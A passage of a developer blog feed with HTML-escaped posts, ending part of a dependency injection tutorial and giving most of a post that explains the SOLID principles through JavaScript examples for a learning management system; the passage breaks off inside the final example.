    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sessionManager&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;sessionManager&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;userModel&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getUserByName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;User not found&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hashedPassword&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;passwordHasher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;passwordHash&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;hashedPassword&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nb"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid password&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sessionToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sessionManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;startSession&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;sessionToken&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;endSession&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sessionToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sessionManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;endSession&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sessionToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;userModel&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;getUserByName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Look up the user in the database&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Alice&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;password_hash&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;passwordHasher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;PasswordHasher&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sessionManager&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;SessionManager&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;authenticator&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;Authenticator&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userModel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;passwordHasher&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;sessionManager&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sessionToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;authenticator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Alice&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;password&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sessionToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;authenticator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;endSession&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sessionToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above code snippet, we have a number of different components: User, PasswordHasher, SessionManager, and Authenticator. Rather than having each component create its own dependencies, we pass them in when the component is created. For example, when we create the Authenticator, we pass in the userModel, passwordHasher, and sessionManager as arguments to the constructor.&lt;/p&gt;

&lt;p&gt;Dependency Injection is a powerful design pattern that can bring a number of benefits to your codebase. Here are some of the main advantages and disadvantages of using dependency injection:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Merits:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Loose Coupling&lt;/strong&gt;: Dependency injection helps to reduce the coupling between components by allowing them to depend on abstractions rather than concrete implementations. This means that changes to one component won't necessarily require changes to others, which can help to make your code more flexible and easier to maintain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Easier Testing:&lt;/strong&gt; By using dependency injection, you can more easily write unit tests for your code. Since dependencies are passed in as arguments, it's easy to create mock objects for testing purposes, which can help to isolate your code and make it more testable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flexibility&lt;/strong&gt;: Dependency injection allows you to easily swap out one implementation for another. This means that you can change the behavior of your code without having to modify the code itself. This can be especially useful if you need to support multiple environments or configurations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reusability&lt;/strong&gt;: By separating concerns and dependencies, it's easier to reuse code in other parts of your application or even in other projects.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Demerits:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Complexity&lt;/strong&gt;: Implementing dependency injection can add complexity to your code. There are a number of different ways to implement the pattern, and choosing the right one for your situation can be difficult. Additionally, it can be difficult to manage the lifecycle of dependencies, especially when dealing with complex object graphs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Performance&lt;/strong&gt;: Depending on how you implement dependency injection, it can have a negative impact on performance. In particular, using a lot of small dependencies can increase the overhead of object creation and initialization, which can slow down your application.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Overuse&lt;/strong&gt;: It's possible to overuse dependency injection, which can lead to code that's difficult to understand and maintain. In particular, injecting too many dependencies into a component can make it hard to reason about its behavior and make it difficult to test. It's important to strike a balance between flexibility and simplicit&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here are some resources to learn more about Dependency Injection:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dependency Injection Principles, Practices, and Patterns by Mark Seemann&lt;/strong&gt; - This book provides a comprehensive introduction to Dependency Injection, including best practices and design patterns. It covers a variety of popular DI frameworks and libraries, including Unity, Autofac, and Castle Windsor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Clean Code Talks Dependency Injection by Misko Hevery&lt;/strong&gt; - This video provides an in-depth look at Dependency Injection, including why it's important and how to use it effectively. It's a great resource for those who want to dive deeper into the theory behind DI.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Inversion of Control Containers and the Dependency Injection pattern by Martin Fowler&lt;/strong&gt; - This article by one of the pioneers of Dependency Injection provides a detailed look at the benefits of using an Inversion of Control (IoC) container and how to use them effectively.&lt;/p&gt;

&lt;p&gt;These resources should provide a good starting point for learning more about Dependency Injection and how to use it effectively in your code.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>SOLID PRINCIPLE in a software devepment</title>
      <dc:creator>Olawale Afuye </dc:creator>
      <pubDate>Wed, 03 May 2023 00:06:51 +0000</pubDate>
      <link>https://forem.com/walosha/solid-principle-in-a-software-devepment-4jm5</link>
      <guid>https://forem.com/walosha/solid-principle-in-a-software-devepment-4jm5</guid>
      <description>&lt;p&gt;SOLID principles are a set of five design principles that help developers write software that is easy to maintain, extend, and modify. These principles, when applied to a software development project, can help produce code that is less prone to bugs, easier to test, and easier to understand.&lt;br&gt;
The principles were introduced by Robert C. Martin, also known as Uncle Bob, and they provide a framework for creating software that is flexible, modular, and easy to maintain. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SOLID Principles&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The SOLID principles are an acronym for five different principles:&lt;/p&gt;

&lt;p&gt;Single Responsibility Principle (SRP)&lt;br&gt;
Open/Closed Principle (OCP)&lt;br&gt;
Liskov Substitution Principle (LSP)&lt;br&gt;
Interface Segregation Principle (ISP)&lt;br&gt;
Dependency Inversion Principle (DIP)&lt;/p&gt;

&lt;p&gt;In this article, we will look at the SOLID principles in the context of a learning management system (LMS) and provide code samples in JavaScript to illustrate each principle.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Single Responsibility Principle (SRP)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This principle states that a class should have only one reason to change. In other words, a class should have only one responsibility or job. If a class has multiple responsibilities, any changes to one responsibility may affect other responsibilities.&lt;br&gt;
In the context of an LMS, let's consider a class called "Course." This class should be responsible only for handling information about a course, such as its name, description, and course material. It should not be responsible for handling user authentication or managing the database.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;Course&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;courseMaterial&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;description&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;courseMaterial&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;courseMaterial&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;getDescription&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;getCourseMaterial&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;courseMaterial&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Open-Closed Principle (OCP)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This principle states that a class should be open for extension but closed for modification. In other words, you should be able to add new functionality to a class without changing its existing code.&lt;br&gt;
In the context of an LMS, let's consider a class called "CourseRepository." This class should be responsible for storing and retrieving course data from the database. However, we may want to use a different type of database or storage system in the future. To ensure that we can add new functionality without modifying the existing code, we can create an interface for the repository.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;CourseRepository&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;courses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;addCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;course&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;courses&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;course&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;getCourses&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;courses&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;ICourseRepository&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;addCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;course&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
  &lt;span class="nx"&gt;getCourses&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Liskov Substitution Principle (LSP)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This principle states that subclasses should be substitutable for their base classes. In other words, a subclass should be able to replace its parent class without changing the behavior of the program.&lt;br&gt;
In the context of an LMS, let's consider a class called "VideoCourse" that extends the "Course" class. The "VideoCourse" class should be able to be used in place of the "Course" class without affecting the functionality of the LMS.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;VideoCourse&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nx"&gt;Course&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;courseMaterial&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;videoUrl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;description&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;courseMaterial&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;videoUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;videoUrl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;getVideoUrl&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;videoUrl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Interface Segregation Principle (ISP)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The Interface Segregation Principle states that no client should be forced to depend on methods it does not use. This means that we should create interfaces that are specific to the needs of each client, rather than creating a general-purpose interface that contains all possible methods. For example, if we have a class that is responsible for managing user profiles, we should create interfaces that are specific to the needs of each client.&lt;/p&gt;

&lt;p&gt;In a learning management system, we can apply the ISP to our user profile management class. We can create interfaces that are specific to the needs of teachers and students, rather than creating a general-purpose interface that contains all possible methods. This will make our code more modular and easier to maintain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;UserProfile&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// common methods for all clients&lt;/span&gt;
  &lt;span class="nx"&gt;updateProfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// code to update user profile&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;deleteProfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// code to delete user profile&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// interface for teachers&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;TeacherProfile&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;addCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;course&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// code to add a course to teacher's profile&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;removeCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;course&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// code to remove a course from teacher's profile&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// interface for students&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;StudentProfile&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;enrollCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;course&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// code to enroll a course for student&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;dropCourse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;course&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// code to drop a course for student&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Dependency Inversion Principle (DIP):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The Dependency Inversion Principle states that high-level modules should not depend on low-level modules. Both should depend on abstractions. Abstractions should not depend on details. Details should depend on abstractions. This means that we should use interfaces to define the dependencies between classes, rather than concrete implementations. For example, if we have a class that is responsible for sending notifications, it should depend on an interface for sending notifications, rather than a concrete implementation.&lt;/p&gt;

&lt;p&gt;In a learning management system, we can apply the DIP to our notification sending class. We can define an interface for sending notifications, and our notification sending class can depend on this interface. This will make our code more flexible and easier to maintain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// interface for sending notifications&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;NotificationSender&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;sendNotification&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// code to send notification&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// class that depends on the interface&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;EmailNotificationSender&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;notificationSender&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;notificationSender&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;notificationSender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;sendEmailNotification&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// code to send email notification&lt;/span&gt;
